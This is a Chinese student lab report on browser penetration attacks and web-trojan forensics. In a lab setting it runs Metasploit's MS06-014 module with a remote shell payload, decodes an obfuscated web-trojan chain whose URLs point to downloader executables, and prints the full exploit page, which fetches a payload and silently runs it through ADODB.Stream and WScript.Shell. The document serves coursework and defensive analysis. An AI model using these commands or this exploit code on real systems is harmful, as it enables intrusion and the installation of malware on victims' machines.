1. 程式人生 > 其它 >2021191 李楚涵 第11次實驗

2021191 李楚涵 第11次實驗

  1. Web瀏覽器的技術發展與安全威脅
    隨著網際網路資訊化的不斷髮展,web應用得到了迅速開發,為網際網路的進步發揮著非常重要的作用。同時,安全問題也隨之而來,針對於現在的web安全現狀,應該採取哪些有針對性的措施呢? 安全認識誤區: 為了確保web應用安全,人們在各個工作層面部署屬於自己的安全策略,比如安裝防毒軟體來確保電腦保安執行,採用SSL技術對所傳輸的資料加密處理,並搭建web應用防火牆來過濾一些不安全訪問資訊。對於這些防護措施而言,雖然可以將不必要的暴露埠進行關閉,對一些非法的資訊進行過濾,但仍然不能保障web應用安全。對web服務所依賴的80和443埠,必須是開放的,防火牆卻不能正確辨認出埠所傳輸的資訊是否安全,當訪問通過防護措施時,web應用就會暴露在使用者面前。而針對應用層面的攻擊而言,可以很輕易地突破防火牆保護的網站。 最新的網路安全統計顯示,每天都有超過12億人次的網民受到木馬攻擊,並且有大量的流行軟體、大型網站被黑,而且每年都呈現明顯的大幅度增長趨勢。現階段的網際網路仍然非常脆弱,90%左右的木馬病毒都以“掛馬”的形式進行傳播。這些問題的產生,很大程度上源於web安全領域的問題,如後臺伺服器的不安全設定、系統漏洞、web應用程式實現程式碼缺陷等,給不法分子以可乘之機。對於這些隱患,75%左右的攻擊都出現在web應用程式本身,這也是入侵檢測系統、WAF以及SSL所無法應對的。
    部署網站安全防護措施: 作業系統作為抵禦非法攻擊的第一道防線,對確保web安全發揮著非常重要的作用。主要包括以下幾個方面:對系統補丁進行實時更新,防止非法分子依靠系統漏洞進行攻擊。對不必要的通訊埠進行關閉處理,以有效降低惡意攻擊的入侵通口。對密碼管理制度進行規範處理。對伺服器上的各個登陸密碼進行統一生成與集中處理。在進行軟體與元件安裝時,應認真謹慎,關閉不必要的伺服器,以有效降低安全隱患。遵循最小許可權原則設定檔案系統,以有效避免跨站指令碼攻擊與提權操作。
    2.Web瀏覽端的滲透攻擊威脅——網頁木馬
    網頁木馬就是表面上偽裝成普通的網頁檔案或是將惡意的程式碼直接插入到正常的網頁檔案中,當有人訪問時,網頁木馬就會利用對方系統或者瀏覽器的漏洞自動將配置好的木馬的服務端下載到訪問者的電腦上來自動執行。
    檢測和分析技術
  • 基於特徵碼匹配的傳統檢測方法
  • 基於統計與機器學習的靜態分析方法
  • 基於動態行為結果判定的檢測分析方法
  • 基於模擬瀏覽器環境的動態分析檢測方法

實踐內容
(1)web瀏覽器滲透攻擊 任務:使用攻擊機和Windows靶機進行瀏覽器滲透攻擊實驗,體驗網頁木馬構造及實施瀏覽器攻擊的實際過程。
實驗步驟:
①選擇使用Metasploit中的MS06-014滲透攻擊模組
②選擇PAYLOAD為任意遠端Shell連線
③設定伺服器地址和URL引數,執行exploit,構造出惡意網頁木馬指令碼 ④在靶機環境中啟動瀏覽器,驗證與伺服器的連通性,並訪問而已網頁木馬指令碼URL ⑤在攻擊機的Metasploit軟體中檢視滲透攻擊狀態,並通過成功滲透攻擊後建立起的遠端控制會話SESSION,在靶機上遠端執行命令
1、kali中輸入 msfconsole

,輸入 search MS06-014 搜尋 MS06-014 滲透攻擊模組;輸入 use exploit/windows/browser/ie_createobject ,使用該模組進行攻擊:


2、輸入 set LHOST 192.168.200.4 設定攻擊機地址;輸入 set payload windows/shell/bind_tcp 設定使用的載荷;輸入 exploit 進行攻擊: 得到地址http://192.168.200.4:8080/66j2A3wu4X1KO 接著在靶機中訪問該地址,可以看到一串英文。


4、接著在kali中輸入 sessions 檢視當前連線,輸入命令 sessions 1 選擇會話1 ;使用 getuid
檢視當前許可權為 administrator ; 輸入命令 ifconfig 檢視靶機地址為 192.168.200.6
檢視靶機的地址
和實驗結果一樣!成功了!
(2)取證分析實踐—網頁木馬攻擊場景分析 實踐過程:
①首先你應該訪問start.html,在這個檔案中給出了new09.htm的地址,
②在進入 htm 後,每解密出一個檔案地址,請對其作 32 位 MD5 雜湊,以雜湊值為檔名到 http://192.168.68.253/scom/hashed/雜湊值下去下載對應的檔案(注意:檔名中的英文字母為小寫,且沒有副檔名),即為解密出的地址對應的檔案。
③如果解密出的地址給出的是網頁或指令碼檔案,請繼續解密。
④如果解密出的地址是二進位制程式檔案,請進行靜態反彙編或動態除錯。
⑤重複以上過程直到這些檔案被全部分析完成。
首先訪問雲班課中的 start.html 檔案,但考慮到這個檔案中包含了 new09.htm。搜尋“new09.htm”可以找到兩處:

可以看到 new09.htm 檔案中,用 iframe 引用了一個 http://aa.18dd.net/aa/kl.htm 檔案, 又用 javascript 引用了一個http://js.users.51.la/1299644.js 檔案。


使用百度MD5計算器對這兩個連結做MD5雜湊
7f60672dcd6b5e90b6772545ee219bd3 23180a42a2ff1192150231b44ffdf3d3 本來是要按照這兩個地址下載檔案,但是無法下載 http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3 http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
群裡有同學分享了這個檔案。
在hashed檔案中找到對應的檔案,用記事本開啟。 找到名為23180a42a2ff1192150231b44ffdf3d3的檔案,看到其中的內容如下,提示不是我們要找的內容。

開啟另一個檔名為7f60672dcd6b5e90b6772545ee219bd3 ,這是一種被稱為 XXTEA+Base64 的加密方法,對付這種加密方法,只要找到它的加密金鑰就可以。

\x73\x63\x72\x69\x70\x74 就是金鑰。
使用16進位制解密轉換,金鑰是script。

訪問https://cycy.sourceforge.io/xxtea/輸入祕鑰金鑰 script ,貼上記事本中的內容,點“解密”,得到了十六進位制加密。

然後將轉換出來的16進位制轉成字元

可以看到有這幾個漏洞,Adodb.Stream——微軟資料庫訪問物件漏洞; MPS.StormPlayer——暴風影音漏洞; POWERPLAYER.PowerPlayerCtrl.1——PPStream漏洞; BaiduBar.Tool——百度搜霸漏洞。這個檔案還引用了三個js檔案和一個壓縮包(bd.cab,解開後是bd.exe),對他們
http://aa.18dd.net/aa/1.js,http://aa.18dd.net/aa/b.js,http://aa.18dd.net/aa/pps.js,http://down.18dd.net/bb/bd.cab
進行MD5雜湊,得到結果如下




在hashed資料夾中找到這四個檔案:
1.js


b.js

數中的六個引數 p,a,c,k,e,d 提示使用packed加密方法,使用網頁線上解密,解密結果如下:

關鍵字 shellcode出現 ,是二進位制的機器碼。它可能就是下載器。對於一個下載器來說,必不可少的一項內容就是要下載的內容的 URL,我們可以找一找這加密的程式碼裡有 URL 特徵的字串。URL中必然出現斜線 /, / 的十六進位制ASCII碼是2f,將解密之後的放在Word中查詢。後四處比較可疑,因為兩個2f比較密集。於是取從第三個2f開始到末尾的內容

解密的結果是http://down.18dd.net/bb/bf.exe
pps.js

根據解密結果,和上述步驟一樣,找2f


用上述相同的方法,得到解密結果如下 http://down.18dd.net/bb/pps.exe
一共得到了四個exe檔案 014.exe bf.exe pps.exe bd.exe
用winXPAttacker上的PEiD 分析 bd.exe,可以看到使用的是Delphi編寫的GUI程式

用W32DAsm 反編譯開啟bd.exe,開啟串式參考

可以看到有很多木馬

(3)攻防對抗實踐—web瀏覽器滲透攻擊攻防 攻擊方使用Metasploit構造出至少兩個不同Web瀏覽端軟體安全漏洞的滲透攻擊程式碼,並進行混淆處理之後組裝成一個URL,通過具有欺騙性的電子郵件傳送給防守方。 防守方對電子郵件中的掛馬連結進行提取、解混淆分析、嘗試恢復出滲透程式碼的原始形態,並分析這些滲透程式碼都是攻擊哪些Web瀏覽端軟體的哪些安全漏洞。
由於我在做第一個實驗的時候沒有開啟wireshark,所以就不能抓包。只能在做實驗三的時候,把第一個實驗重新做一次。
使用kali分析第一個實踐中利用MS06-014漏洞進行分析的滲透程式碼。在kali的wireshark捕獲實踐一中MS06-014漏洞攻擊,然後返回kali的wireshark看靶機對攻擊機的迴應。

右鍵檢視原始檔獲取攻擊頁面的原始碼,下載檢視

刪去不必要的空格

點選檢視程式碼
<html>
  
  <head>
    <title></title>
    <script language="javascript">function HuVtDZksueTZGkmdHl(o, n) {
        var r = null;
        try {
          eval("r=o.CreateObject(n)")
        } catch(e) {}
        if (!r) {
          try {
            eval("r=o.CreateObject(n,'')")
          } catch(e) {}
        }
        if (!r) {
          try {
            eval("r=o.CreateObject(n,'','')")
          } catch(e) {}
        }
        if (!r) {
          try {
            eval("r=o.GetObject('',n)")
          } catch(e) {}
        }
        if (!r) {
          try {
            eval("r=o.GetObject(n,'')")
          } catch(e) {}
        }
        if (!r) {
          try {
            eval("r=o.GetObject(n)")
          } catch(e) {}
        }
        return (r)
      }
      function gXOolkNcRRx(a) {
        var s = HuVtDZksueTZGkmdHl(a, "WScript.Shell");
        var o = HuVtDZksueTZGkmdHl(a, "ADODB.Stream");
        var e = s.Environment("Process");
        var url = document.location + '/payload';
        var xml = null;
        var bin = e.Item("TEMP") + "\\KUVkctKFjqmITCtNXKMNgVU.exe";
        var dat;
        try {
          xml = new XMLHttpRequest()
        } catch(e) {
          try {
            xml = new ActiveXObject("Microsoft.XMLHTTP")
          } catch(e) {
            xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
          }
        }
        if (!xml) {
          return (0)
        }
        xml.open("GET", url, false);
        xml.send(null);
        dat = xml.responseBody;
        o.Type = 1;
        o.Mode = 3;
        o.Open();
        o.Write(dat);
        o.SaveToFile(bin, 2);
        s.Run(bin, 0)
      }
      function mpGIYSoIelaqiCzcvEXVNhOc() {
        var i = 0;
        var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', null);
        while (t[i]) {
          var a = null;
          if (t[i].substring(0, 1) == '{') {
            a = document.createElement("object");
            a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
          } else {
            try {
              a = new ActiveXObject(t[i])
            } catch(e) {}
          }
          if (a) {
            try {
              var b = HuVtDZksueTZGkmdHl(a, "WScript.Shell");
              if (b) {
                gXOolkNcRRx(a);
                return (0)
              }
            } catch(e) {}
          }
          i++
        }
      }</script>
  </head>
  
  <body onload='mpGIYSoIelaqiCzcvEXVNhOc()'>BCKrXmmzzJTakfuVkFFoMAb</body></html>

js呼叫了document.location載入了 payload ,並且下一行中後面跟了一個可執行檔案 KUVkctKFjqmITCtNXKMNgVU.exe ,這個可執行檔案是以攻擊機為伺服器,通過網頁下載到靶機上的。為了躲避防毒軟體,每次載入惡意網頁生成的可執行檔案的名字是不一樣的。
BD96C556-65A3-11D0-983A-00C04FC29E36 是漏洞MS06-014中的clsid變數,搜尋 BD96C556,可知攻擊者使用的漏洞是MS06-014。